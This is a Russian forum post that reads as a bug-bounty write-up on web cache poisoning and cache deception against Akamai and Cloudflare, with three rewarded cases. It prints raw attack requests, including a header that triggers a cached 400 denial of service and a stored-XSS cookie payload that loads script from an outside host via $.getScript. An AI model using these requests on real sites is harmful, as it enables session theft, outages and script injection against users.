• Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Как тестировать веб-кэш на наличие уязвимостей

  • Автор темы Benzema
  • Дата начала
  • Ответы 0
  • Просмотры 2K

Benzema

Публикатор
Команда форума
Регистрация
27.01.18
Веб-сайт
netysaita.com
TG
@@qq
1672743034800.png

Мы поделимся «Методологией» поиска проблем с кэшем, а затем покажу несколько недавних реальных находок с соответствующими наградами.

Стоит упомянуть, что я не использую автоматизированные инструменты для поиска этих багов. На самом деле единственным автоматизированным инструментом, который я использую во время общего тестирования, является SQLmap для SQLi.

Методология​

Если в приложении нет функции входа в систему, но используется Akamai CDN, вот мои шаги:

  • Отправить первый запрос на Repeater
1*pfWi7C3jncx4ULR-Tj-xDw.png

  • Проверить, кэширует ли сервер обычные запросы (об этом можно узнать по заголовку ответа «Server-Timing: cdn-cache; desc=HIT»)
1*LJSV6xD_eLMRjXuoq2nqhw.png

  • Добавить недопустимый заголовок в запрос
1*lzEb1dFat0g-Rt3v87AY7Q.png

  • Если ответ был успешно кэширован, то при открытии URL-адреса в любом браузере вы должны получить ошибку 400 Bad Request.
1*-Tjf7UHJNN6ZMI9mfk8QtA.png

Если в приложении есть функция входа в систему​

  • Заводим аккаунт
  • Проверяем, не раскрывается ли какая-нибудь конфиденциальная информация на какой-либо странице (например, токен сессии).
1*JSUw1aXGTyN8e9rKhPtVzA.png

  • Отправляем запрос на Repeater
  • Добавляем кешируемое расширение (.js, .css) в конце URL-адреса и смотрим, дает ли он ответ 200 OK.
1*dfOx-NGGpI5wXuVRnbCrXQ.png

  • Открываем измененный URL-адрес, используя свою аутентифицированную учетную запись.
1*tVpX2WIIJiuxubavOD6nfg.png

  • Открываем тот же URL-адрес с помощью curl или в режиме инкогнито веб-браузера.
1*TgCB9lJ7Qz2BSCWbzAnGNw.png

  • Если токен был успешно кэширован, то мы должны увидеть его в ответе.
1*7Ekn5hG7e5sop-xjAyoeQQ.png

Если Приложение использует Cloudflare CDN​

Недопустимые заголовки не будут работать, и сейчас большинство клиентов Cloudflare используют Cache Deception Armor.

Я смог обойти эту защиту, используя файл .avif, который на самом деле являлся файлом с неизвестным расширением. См. тут - №1391635

Тем не менее, есть некоторые сайты, на которых эта защита не активирована, и вы прекрасно можете проверить их на Cache Poisoning/Deception.


Реальные случаи​

Cache Deception для захвата учетной записи → Баунти = 1500 долларов США​

Краткое описание:

Утечка всех cookie (даже HTTPonly) в https://host.com/app/conversation/1.js . Если аутентифицированный пользователь посещает этот URL-адрес, то все его cookie будут сохранены в кеше.

Затем злоумышленник может извлечь cookie и захватить сессию пользователя.

  • Примечание:
Иногда, если ответ «404 Not found», Akamai кэширует ответ менее чем на 10 секунд, что усложняет задачу для злоумышленника. В этом случае злоумышленник должен быть быстрым. Однако, если Akamai обнаружит ответ 200 Ok, он будет храниться не менее 24 часов.

  • Совет
В некоторых приложениях, если вы добавите точку с запятой (;) перед расширением, это может дать вам ответ 200 Ok.

Например

Код:
/xxxx/xxxxxx/;.js

Ответ

Код:
HTTP/2 200 ОК

DoS через отравление кеша → Баунти = 1000 долларов​

Краткое содержание:

В Akamai CDN, если мы отправим обратную косую черту \в качестве заголовка, сервер ответит кодом 400 Bad Request

Запрос:

Код:
GET /products/xxx/xxxx/xxx/?test HTTP/2
Host: www.host.com
\:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers

Ответ:

Код:
HTTP/2 400 Bad Request
Content-Type: text/html;charset=iso-8859-1
Content-Length: 70
Cache-Control: max-age=297
Expires: Thu, 21 Jul 2022 16:17:54 GMTDate: Thu, 21 Jul 2022 16:12:57 GMT
Server-Timing: cdn-cache; desc=HIT
Server-Timing: edge; dur=32
Server-Timing: origin; dur=147
Strict-Transport-Security: max-age=86400
Ak-Uuid: 0.bc85d817.1658419977.1592c61

Это становится проблемой, когда сайт использует кеширующие серверы. Обычно сайты кэшируют только javascript, css и другие файлы, но когда такие сайты, как www.host.com также кэширует нормальные ответы, типа

Код:
www.host.com/products/*

Код:
www.host.com/*

и так далее, это превращается в серьезный баг.
  • Совет
В Akamai ответ 400 находится 5 секунд в кеше. Однако злоумышленник может отправлять null, используя Intruder в Burp, так что один и тот же ответ 400 будет кэшироваться постоянно.

1*RPmry_YhazjZd0MEt38Gfw.png

Отравление кэша для сохраненных XSS → Баунти = 1000 долларов США​

Краткое содержание:

Есть XSS через n_vis параметр в cookie.

Поскольку сервер кэширует этот ответ, злоумышленник может сохранить полезную нагрузку для XSS.

Существует строгий фильтр (и WAF), который блокирует большую часть полезной нагрузки, но, поскольку сайт использует Jquery, злоумышленник может использовать функцию $.getScript для эксплуатации.

Запрос

Код:
GET /xxxx/xx-xx.otf?triagethiss HTTP/2
Host: www.host.com
Cookie: n_vis=xssx'*$.getScript`//593.xss.ht`//;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-xss,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers

Ответ

Код:
<script>
...
Visitor.id='xssx'*$.getScript`//593.xss.ht`//;
....
</script>
  • Совет
Проверяйте XSS на любых заголовках запроса, cookie, кастомных заголовках и на заголовках типа X-Forwared-*
На этом все. Спасибо за просмотр!
 
Telegram
@qq
Сверху Снизу